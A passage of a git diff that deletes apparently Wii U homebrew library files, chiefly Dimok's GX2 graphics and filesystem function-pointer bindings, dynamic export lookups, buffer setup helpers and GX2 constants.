unk_zero_param, int errHandling); -extern int (* FSDelClient)(void *pClient); -extern void (* FSInitCmdBlock)(void *pCmd); -extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); - -extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); -extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - -extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); -extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); -extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -extern int (* FSBindMount)(void *pClient, void *pCmd, char *source, char *target, int error); -extern int (* FSBindUnmount)(void *pClient, void *pCmd, char *target, int error); - -extern int (* FSMakeQuota)( void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); -extern int (* FSMakeQuotaAsync)(void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); - - -#ifdef __cplusplus -} -#endif - -#endif // __FS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_functions.c b/installer/src/dynamic_libs/gx2_functions.c deleted file mode 100644 index a34807e..0000000 --- a/installer/src/dynamic_libs/gx2_functions.c +++ /dev/null @@ -1,173 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "gx2_types.h" - -unsigned int gx2_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, GX2Init, u32 * init_attribs); -EXPORT_DECL(void, GX2Shutdown, void); -EXPORT_DECL(void, GX2Flush, void); -EXPORT_DECL(s32, GX2GetMainCoreId, void) ; -EXPORT_DECL(s32, GX2DrawDone, void); -EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); -EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); -EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -EXPORT_DECL(void, GX2SetClearDepthStencil, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); -EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); -EXPORT_DECL(void, GX2SwapScanBuffers, void); -EXPORT_DECL(void, GX2SetTVEnable, s32 enable); -EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); -EXPORT_DECL(u32, GX2GetSwapInterval, void); -EXPORT_DECL(void, GX2WaitForVsync, void); -EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); -EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); -EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); -EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); -EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); -EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); -EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); -EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); -EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); -EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); -EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); -EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); -EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); -EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -EXPORT_DECL(void, GX2SetLineWidth, f32 width); -EXPORT_DECL(void, GX2SetTVGamma, f32 val); -EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); -EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); -EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); -EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); -EXPORT_DECL(void, GX2CopySurface, GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); - -EXPORT_DECL(void, GX2ClearBuffersEx, GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); - -void InitAcquireGX2(void) -{ - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); -} - -void InitGX2FunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquireGX2(); - - OS_FIND_EXPORT(gx2_handle, GX2Init); - OS_FIND_EXPORT(gx2_handle, GX2Shutdown); - OS_FIND_EXPORT(gx2_handle, GX2Flush); - OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); - OS_FIND_EXPORT(gx2_handle, GX2DrawDone); - OS_FIND_EXPORT(gx2_handle, GX2ClearColor); - OS_FIND_EXPORT(gx2_handle, GX2SetViewport); - OS_FIND_EXPORT(gx2_handle, GX2SetScissor); - OS_FIND_EXPORT(gx2_handle, GX2SetContextState); - OS_FIND_EXPORT(gx2_handle, GX2DrawEx); - OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); - OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); - OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); - OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); - OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); - OS_FIND_EXPORT(gx2_handle, GX2Invalidate); - OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); - OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); - OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); - OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); - OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitSampler); - OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); - OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); - OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); - OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); - OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); - OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); - OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); - OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); - OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); - OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); - OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); - OS_FIND_EXPORT(gx2_handle, GX2CopySurface); - OS_FIND_EXPORT(gx2_handle, GX2ClearBuffersEx); - OS_FIND_EXPORT(gx2_handle, GX2SetClearDepthStencil); -} diff --git a/installer/src/dynamic_libs/gx2_functions.h b/installer/src/dynamic_libs/gx2_functions.h deleted file mode 100644 index 0b06826..0000000 --- a/installer/src/dynamic_libs/gx2_functions.h +++ /dev/null @@ -1,211 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __GX2_FUNCTIONS_H_ -#define __GX2_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "gx2_types.h" - -extern unsigned int gx2_handle; - -void InitGX2FunctionPointers(void); -void InitAcquireGX2(void); - -extern void (* GX2Init)(u32 * init_attribs); -extern void (* GX2Shutdown)(void); -extern void (* GX2Flush)(void); -extern s32 (* GX2GetMainCoreId)(void) ; -extern s32 (* GX2DrawDone)(void); -extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); -extern void (* GX2SetContextState)(const GX2ContextState* state); -extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -extern void (* GX2SetClearDepthStencil)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); -extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); -extern void (* GX2SwapScanBuffers)(void); -extern void (* GX2SetTVEnable)(s32 enable); -extern void (* GX2SetSwapInterval)(u32 swap_interval); -extern u32 (* GX2GetSwapInterval)(void); -extern void (* GX2WaitForVsync)(void); -extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); -extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); -extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); -extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); -extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); -extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); -extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); -extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); -extern void (* GX2InitTextureRegs)(GX2Texture *texture); -extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); -extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); -extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); -extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); -extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); -extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); -extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -extern void (* GX2SetDRCScale)(u32 width, u32 height); -extern void (* GX2SetDRCEnable)(s32 enable); -extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); -extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -extern void (* GX2SetLineWidth)(f32 width); -extern void (* GX2SetTVGamma)(f32 val); -extern void (* GX2SetDRCGamma)(f32 val); -extern s32 (* GX2GetSystemTVScanMode)(void); -extern s32 (* GX2GetSystemDRCScanMode)(void); -extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); -extern void (* GX2CopySurface)(GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); -extern void (* GX2ClearBuffersEx)(GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); - -static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - depthBuffer->surface.dimension = dimension; - depthBuffer->surface.width = width; - depthBuffer->surface.height = height; - depthBuffer->surface.depth = depth; - depthBuffer->surface.num_mips = 1; - depthBuffer->surface.format = format; - depthBuffer->surface.aa = aa; - depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; - depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - depthBuffer->surface.swizzle = 0; - depthBuffer->view_mip = 0; - depthBuffer->view_first_slice = 0; - depthBuffer->view_slices_count = depth; - depthBuffer->clear_depth = 1.0f; - depthBuffer->clear_stencil = 0; - depthBuffer->hiZ_data = NULL; - depthBuffer->hiZ_size = 0; - GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); - GX2InitDepthBufferRegs(depthBuffer); -} - -static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) -{ - colorBuffer->surface.dimension = dimension; - colorBuffer->surface.width = width; - colorBuffer->surface.height = height; - colorBuffer->surface.depth = depth; - colorBuffer->surface.num_mips = 1; - colorBuffer->surface.format = format; - colorBuffer->surface.aa = aa; - colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; - colorBuffer->surface.image_size = 0; - colorBuffer->surface.image_data = NULL; - colorBuffer->surface.mip_size = 0; - colorBuffer->surface.mip_data = NULL; - colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; - colorBuffer->surface.swizzle = 0; - colorBuffer->surface.align = 0; - colorBuffer->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - colorBuffer->surface.mip_offset[i] = 0; - colorBuffer->view_mip = 0; - colorBuffer->view_first_slice = 0; - colorBuffer->view_slices_count = depth; - colorBuffer->aux_data = NULL; - colorBuffer->aux_size = 0; - for(i = 0; i < 5; i++) - colorBuffer->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); - GX2InitColorBufferRegs(colorBuffer); -} - -static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) -{ - attr->location = location; - attr->buffer = buffer; - attr->offset = offset; - attr->format = format; - attr->index_type = 0; - attr->divisor = 0; - attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; - attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; -} - -static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) -{ - tex->surface.dimension = dimension; - tex->surface.width = width; - tex->surface.height = height; - tex->surface.depth = depth; - tex->surface.num_mips = num_mips; - tex->surface.format = format; - tex->surface.aa = GX2_AA_MODE_1X; - tex->surface.use = GX2_SURFACE_USE_TEXTURE; - tex->surface.image_size = 0; - tex->surface.image_data = NULL; - tex->surface.mip_size = 0; - tex->surface.mip_data = NULL; - tex->surface.tile = tile; - tex->surface.swizzle = 0; - tex->surface.align = 0; - tex->surface.pitch = 0; - u32 i; - for(i = 0; i < 13; i++) - tex->surface.mip_offset[i] = 0; - tex->view_first_mip = 0; - tex->view_mips_count = num_mips; - tex->view_first_slice = 0; - tex->view_slices_count = depth; - tex->component_selector = texture_comp_selector[format & 0x3f]; - for(i = 0; i < 5; i++) - tex->regs[i] = 0; - - GX2CalcSurfaceSizeAndAlignment(&tex->surface); - GX2InitTextureRegs(tex); -} - -#ifdef __cplusplus -} -#endif - -#endif // __GX2_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_types.h b/installer/src/dynamic_libs/gx2_types.h deleted file mode 100644 index e292318..0000000 --- a/installer/src/dynamic_libs/gx2_types.h +++ /dev/null @@ -1,699 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef _GX2_TYPES_H_ -#define _GX2_TYPES_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -//!----------------------------------------------------------------------------------------------------------------------- -//! Constants -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMMAND_BUFFER_SIZE 0x400000 -#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 -#define GX2_SHADER_ALIGNMENT 0x100 -#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 -#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 -#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 -#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 - -#define GX2_CONTEXT_STATE_SIZE 0xA100 - -#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC - -//!----------------------------------------------------------------------------------------------------------------------- -//! Common -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FALSE 0 -#define GX2_TRUE 1 -#define GX2_DISABLE 0 -#define GX2_ENABLE 1 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2InitAttrib -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INIT_ATTRIB_NULL 0 -#define GX2_INIT_ATTRIB_CB_BASE 1 -#define GX2_INIT_ATTRIB_CB_SIZE 2 -#define GX2_INIT_ATTRIB_ARGC 7 -#define GX2_INIT_ATTRIB_ARGV 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 compare functions -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMPARE_NEVER 0 -#define GX2_COMPARE_LESS 1 -#define GX2_COMPARE_EQUAL 2 -#define GX2_COMPARE_LEQUAL 3 -#define GX2_COMPARE_GREATER 4 -#define GX2_COMPARE_NOTEQUAL 5 -#define GX2_COMPARE_GEQUAL 6 -#define 